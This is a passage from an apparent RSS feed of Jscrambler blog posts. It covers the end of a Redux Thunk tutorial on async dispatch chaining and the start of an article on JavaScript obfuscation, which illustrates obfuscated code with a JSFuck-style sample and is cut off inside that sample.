  &lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;updateProfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

  &lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;updateDone&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;This is not ideal because of tight-coupling between concerns and less reusable code. Post and profile data may not live in the same place in the Redux store. In Redux, we can combine reducers and separate parts of the store into state objects. This combined thunk throws the code into chaos because we may need to duplicate code all over the store. Duplicate thunk code then becomes a high source of bugs or a maintenance nightmare for the next developer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Async chaining
&lt;/h2&gt;

&lt;p&gt;What if I told you this problem is already partially solved? The keen reader may have noticed a &lt;code&gt;return&lt;/code&gt; statement at the end of each thunk. Go ahead, take a second look:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;updatePosts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;updateProfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;This returns an &lt;em&gt;actionable&lt;/em&gt; promise in Redux that can be chained. The beauty here is we can chain and reuse as many thunks while keeping store state predictable. These chains can be as long as necessary if it makes sense in the code.&lt;/p&gt;

&lt;p&gt;With this in mind, it is possible to chain dispatched thunks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dispatchChaining&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;all&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
    &lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;loadPosts&lt;/span&gt;&lt;span class="p"&gt;()),&lt;/span&gt; &lt;span class="c1"&gt;// &amp;lt;-- async dispatch chaining in action&lt;/span&gt;
    &lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;loadProfile&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
  &lt;span class="p"&gt;]);&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;updateDone&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;actions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;redux&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;bindActionCreators&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="nx"&gt;dispatchChaining&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="nx"&gt;store&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dispatchChaining&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nx"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;unsubscribe&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt; &lt;span class="c1"&gt;// &amp;lt;-- thenable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Note that as long as there is a return these dispatches are &lt;em&gt;thenable&lt;/em&gt;. The bonus here is we can fire async dispatches in parallel and wait for both to finish. Then, update &lt;code&gt;isDone&lt;/code&gt; knowing both calls are done without any unpredictable behavior. These reusable thunks can live in different parts of the store to maintain separation of concerns.&lt;/p&gt;

&lt;p&gt;Below is the final output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{ posts: [ { id: 1, title: 'dispatch chaining' } ] }
{
  posts: [ { id: 1, title: 'dispatch chaining' } ],
  profile: { name: 'C R' }
}
{
  posts: [ { id: 1, title: 'dispatch chaining' } ],
  profile: { name: 'C R' },
  isDone: true
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Asynchrony in JavaScript is hard and unpredictable.&lt;/p&gt;

&lt;p&gt;Redux/Thunk has a nice way to quell this complexity via dispatch chaining. If a thunk returns an actionable promise with async/await, then chaining is possible. This makes async code in different parts of the Redux store easier to work with and more reusable.&lt;/p&gt;

&lt;p&gt;Finally, don't forget to pay special attention if you're developing commercial JavaScript apps that contain sensitive logic. You can protect them against code theft, tampering, and reverse engineering by starting your free &lt;a href="https://jscrambler.com/signup?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=async-dispatch"&gt;Jscrambler trial&lt;/a&gt; - and don't miss &lt;a href="https://blog.jscrambler.com/protecting-your-react-js-source-code-with-jscrambler/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=async-dispatch"&gt;our guide&lt;/a&gt; for protecting React apps.&lt;/p&gt;




&lt;p&gt;Originally published on the &lt;a href="https://blog.jscrambler.com/async-dispatch-chaining-with-redux-thunk/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=async-dispatch"&gt;Jscrambler Blog&lt;/a&gt; by &lt;a href="https://blog.jscrambler.com/author/camilo-reyes?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=async-dispatch"&gt;Camilo Reyes&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>react</category>
      <category>redux</category>
      <category>javascript</category>
      <category>api</category>
    </item>
    <item>
      <title>Beyond Obfuscation: JavaScript Protection and In-Depth Security</title>
      <dc:creator>Jscrambler</dc:creator>
      <pubDate>Thu, 18 Jun 2020 11:45:54 +0000</pubDate>
      <link>https://forem.com/jscrambler/beyond-obfuscation-javascript-protection-and-in-depth-security-148d</link>
      <guid>https://forem.com/jscrambler/beyond-obfuscation-javascript-protection-and-in-depth-security-148d</guid>
      <description>&lt;p&gt;"Security through obscurity is a bad idea" — says every CISO, and with good reason.&lt;/p&gt;

&lt;p&gt;Having a security system rely on secrecy is by no means a good practice. In the &lt;a href="https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-123.pdf"&gt;NIST Guide to General Server Security&lt;/a&gt;, it's clear:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"System security should not depend on the secrecy of the implementation or its components."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Today, this principle is generally accepted and adopted by security engineers. And this could be the end of our story — but it isn't.&lt;/p&gt;

&lt;p&gt;When we throw in the concept of "JavaScript Obfuscation", many are quick to dismiss it on the basis of "obscurity isn't security".&lt;/p&gt;

&lt;p&gt;But obfuscation is just a small piece of a much bigger picture: source code protection. Just like the &lt;a href="https://www.isms.online/iso-27001/annex-a-9-access-control/"&gt;ISO 27001&lt;/a&gt; information security standard states:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Program source code can be vulnerable to attack if not adequately protected and can provide an attacker with a good means to compromise systems in an often covert manner. If the source code is central to the business success it’s loss can also destroy the business value quickly too.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This last sentence says it all. The more value your applications bring to your business, the more it has to lose from attacks to source code.&lt;/p&gt;

&lt;p&gt;This is why it's crucial to understand &lt;strong&gt;JavaScript Obfuscation, JavaScript protection, and in-depth security&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  JavaScript Obfuscation
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://jscrambler.com/products/code-integrity/javascript-obfuscation?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=beyond-obfuscation"&gt;JavaScript obfuscation&lt;/a&gt; is a series of code transformations that turn exposed JS code into a modified version that is extremely hard to understand and reverse-engineer.&lt;/p&gt;

&lt;p&gt;Let's look at a sample of obfuscated JavaScript (and yes, it's &lt;a href="http://www.jsfuck.com/"&gt;valid&lt;/a&gt; JavaScript):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="p"&gt;[][(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[][[]])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]][([][(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[][[]])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[][(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[][[]])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;([][[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;([][[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;([][(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[][[]])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;
&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;
&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[][(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[][[]])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;
&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[]]]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span class="p"&gt;[]]]((&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="p"&gt;[])[&lt;/span&gt;&lt;span class="o"&gt;+!+&lt;/span&gt;&lt;span 